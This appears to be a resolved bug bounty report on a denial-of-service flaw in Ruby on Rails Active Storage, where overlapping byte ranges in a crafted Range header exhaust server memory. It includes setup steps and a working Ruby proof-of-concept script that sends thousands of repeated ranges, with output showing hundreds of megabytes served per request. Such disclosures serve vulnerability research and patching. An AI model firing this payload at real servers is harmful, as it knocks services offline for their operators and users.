DoS with crafted "Range" header
High
R
Ruby on Rails
Submitted None
Actions:
Reported by
ooooooo_q
Vulnerability Details
Technical details and impact analysis
I have crafted a request header for "range" against proxy url in Active Storage and confirmed that it will be a DoS.
https://github.com/rails/rails/blob/v7.1.2/activestorage/app/controllers/active_storage/blobs/proxy_controller.rb#L14
```ruby
def show
if request.headers["Range"].present?
send_blob_byte_range_data @blob, request.headers["Range"]
```
https://github.com/rails/rails/blob/v7.1.2/activestorage/app/controllers/concerns/active_storage/streaming.rb#L14
```ruby
def send_blob_byte_range_data(blob, range_header, disposition: nil)
ranges = Rack::Utils.get_byte_ranges(range_header, blob.byte_size)
```
The `Range` object returned by [Rack::Utils.get_byte_ranges](https://github.com/rack/rack/blob/v3.0.8/lib/rack/utils.rb#L435) will never exceed the file size, but there is no restriction on overlapping ranges.
```ruby
❯ bundle exec rails c
Loading development environment (Rails 7.1.2)
irb(main):001> Rack::Utils.get_byte_ranges("bytes=20-40", 200)
=> [20..40]
irb(main):002> Rack::Utils.get_byte_ranges("bytes=20-200,0-200,0-200,-200,-200,", 200)
=> [20..199, 0..199, 0..199, 0..199, 0..199]
```
## PoC
```
❯ ruby -v
ruby 3.2.2 (2023-03-30 revision e51014f9c0) [arm64-darwin22]
❯ rails new range_dos -G -M -C -A -J -T
=> Rails 7.1.2, Rack 3.0.8
❯ cd range_dos
❯ bin/rails active_storage:install
❯ bin/rails generate model User avatar:attachment
❯ bin/rails db:migrate
```
`config/routes.rb`
```ruby
Rails.application.routes.draw do
resources :users
get "up" => "rails/health#show", as: :rails_health_check
end
```
`app/controllers/users_controller.rb`
```ruby
class UsersController < ApplicationController
def new
@user = User.new
end
def create
user = User.create!(user_params)
redirect_to "/users/#{user.id}"
end
def show
@user = User.find(params[:id])
end
private
def user_params
params.require(:user).permit(:avatar)
end
end
```
`app/views/users/new.html.erb`
```html
<%= form_with model: @user, local: true, :url => {:action => :create} do |form| %>
<%= form.file_field :avatar %><br>
<%= form.submit %>
<% end %>
```
`app/views/users/show.html.erb`
```html
<% if @user.avatar.attached? %>
<%= image_tag rails_storage_proxy_path(@user.avatar) %>
<% end %>
```
start server
```
# Comment out `config.force_ssl = true` in production.rb
❯ RAILS_ENV=production bundle exec rails s
```
After uploading the file on the `http://0.0.0.0:3000/users/new` screen, copy the proxy url that appears on the screen.
Sends the request using a crafted header for the url.
`range_request.rb`
```ruby
require 'net/http'
# set proxy url
url = URI.parse('http://0.0.0.0:3000/rails/active_storage/blobs/proxy/...')
req = Net::HTTP::Get.new(url.path)
# length = 8000 # Bad request
length = (80 * 1024 - "bytes=".bytesize) / "-999999999,".bytesize
puts length
req["Range"] = "bytes=" + "-999999999," * length
res = Net::HTTP.start(url.host, url.port) {|http|
http.request(req)
}
puts res.message
puts res.body.bytesize
```
```
❯ ruby range_request.rb
7446
Partial Content
410058706
```
If the target file is about 50 KB, each request will increase memory usage by several hundred MB.
If the file is nearly 1 MB, more than 10 GB of memory was used on the server side.
## Impact
When accessing the url of proxy, it is possible to put a load on the server's memory usage, etc., by repeatedly writing values in the `Range` request header. Even if the attacker stops the request midway through, the server continues to prepare data, making the attack more efficient.
The same problem exists with [Rack::Files](https://github.com/rack/rack/blob/main/lib/rack/files.rb#L85), but the problem is more serious with Active Stroage, which deals with files uploaded by users.
Additionally, when using nginx, the header length is limited to 8KB, which reduces the impact of the attack. 80KB is set in unicorn and puma.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved